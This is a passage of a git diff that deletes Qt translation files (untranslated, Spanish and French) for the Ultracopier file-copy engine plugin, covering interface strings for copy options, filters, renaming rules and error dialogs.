- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/es/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/es/translation.ts
deleted file mode 100644
index fd90e5e..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/es/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="es" sourcelanguage="en">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>No es compatible con esta plataforma</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>Fecha de última modificación es incorrecto</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>Fecha de último acceso es incorrecto</translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation>Error de opciones</translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Opciones del motor no está cargado, no se puede acceder a los filtros</translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation>Buscar:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation>Tipo de búsqueda:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation>texto Fuente</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation>Regex simplificado</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation>Aplicar sobre:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation>Archivos</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation>Carpeta</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation>Archivos y carpeta</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation>Todas las líneas tiene por qué coincidir</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation>Verification</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation>Prueba de la cuerda:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation>Filtros de diálogo</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation>La expresión regular es válido</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation>La coincidencia con la cadena de prueba con la expresión regular</translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation>Filtros</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation>Exclusión filtro</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation>La inclusión del filtro</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation>Ninguno = Incluya todos los</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation>texto Fuente</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation>Simplificado regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation>Sólo en el archivo</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation>Sólo en la carpeta</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation>Partido completo</translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation>No se puede hacer para mover o copiar elemento en modo incorrecto obligado: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation>No se puede guardar la lista de transferencias: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation>Problema en la lectura, o el tamaño del archivo es nulo</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation>Encabezado incorrecto: &quot;%1&quot;</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation>La lista de transferencia está en modo mixto, pero este caso no es de este modo</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation>La lista de transferencia está en el modo de copia, pero esta instancia no está en este modo</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation>La lista de transferencia es el modo de desplazamiento, pero esta instancia no está en este modo</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation>Algunos errores han sido encontrados durante el análisis de línea</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation>No se puede abrir la lista de transferencias: %1</translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>No se puede crear la carpeta</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>No se puede leer el archivo de origen: </translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Archivo truncada durante el cambio de lectura, los datos posibles</translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation>En primer lugar el cambio de nombre</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation>%name% - copia</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; para el nombre del archivo original&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation>En segundo lugar el cambio de nombre</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>%name% - copia (%number%)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; para el nombre del archivo original&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; para el número adicional&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation>Reglas de Cambio de nombre</translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation>No se puede eliminar la carpeta</translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation>Las sumas de comprobación no coincide</translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation>No se puede leer el archivo de origen: </translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Archivo truncada durante el cambio de lectura, los datos posibles</translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation>El motor se ve obligado a moverse, no se puede copiar con ella</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation>El motor se ve obligado a copiar, no te puedes mover con él</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation>El modo se han visto obligados con anterioridad, es un error interno, por favor repórtelo</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation>Opciones de error</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Opciones del motor no está cargado, no se puede acceder a los filtros</translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>Error en el archivo</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>Error</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>Tamaño</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>Modificado</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>Nombre de archivo</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>Siempre hacer esta acción</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>Ponga a abajo</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>Reintentar</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>Omitir</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>Cancelar</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation>Error en la carpeta</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation>Nombre de la carpeta</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>El archivo ya existe</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Fuente</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destino</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>Tamaño</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>Modificado</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>Nombre de archivo</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>Sugerir nuevo nombre</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>Siempre hacer esta acción</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>Cambiar el nombre</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>Sobrescribir</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation>Omitir</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>Cancelar</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>Sobrescribir si nuevo</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>Sobrescribir si no es misma fecha de modificación</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>Estos archivos son el mismo archivo</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>La fuente y el destino es el mismo</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>Tamaño</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>Modificado</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>Nombre de archivo</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>Sugerir nuevo nombre</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>Siempre hacer esta acción</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>Cambiar el nombre</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>Omitir</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>Cancelar</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>Esta carpeta es la misma carpeta</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Fuente</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destino</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>La fuente y el destino es el mismo</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>Modificado</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>Nombre de la carpeta</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>Sugerir nuevo nombre</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>Siempre hacer esta acción</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>Cambiar el nombre</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>Unir</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>Omitir</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>Cancelar</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation>Carpeta ya existe</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>Transferencia de los derechos de archivo</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>Mantener la fecha de archivo</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>Tamaño del bloque</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation>KB</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>Auto iniciar la transferencia</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>Cuando el error carpeta</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>Pedir</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>Omitir</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>Unir</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>Cambiar el nombre</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>Compruebe si existe la carpeta de destino</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>Cuando la colisión carpeta</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation>Suma de comprobación</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation>Sólo después de un error</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation>No haga caso si no es posible</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation>Hacer suma de comprobación</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation>Habilitar el OS de amortiguación</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation>Filtros</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation>Reglas de Cambio de nombre</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation>OS de amortiguación sólo si menor que</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation>La carpeta no existe</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation>La carpeta no se puede leer</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/fr/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/fr/translation.ts
deleted file mode 100644
index 56e2373..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/fr/translation.ts
+++ /dev/null
@@ -1,799 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="fr" sourcelanguage="en">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>Non supporté sur cette plateforme</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>Date de dernière modification du fichier fausse</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>Date du dernier accès au fichier fausse</translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation>Erreur d&apos;options</translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Moteur d&apos;options non chargé, impossible d&apos;accédrer aux filtres</translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation>Recherche:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation>Type de recherche:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation>Texte brute</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation>Regex simplifié</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation>Regex perl</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation>Appliquer sur:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation>Fichier</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation>Dossier</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation>Fichier et dossier</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation>Toute la chaine doit correspondre</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation>Vérification</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation>Chaine de teste:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation>Dialogue des filtres</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation>La regex est valid</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation>La chaine de teste corresponds avec la regex</translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation>Filtres</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation>Filtre d&apos;exclusion</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation>Filtre d&apos;inclusion</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation>Aucun = tout inclure</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation>Texte brute</translation>
- </message>
- <message>
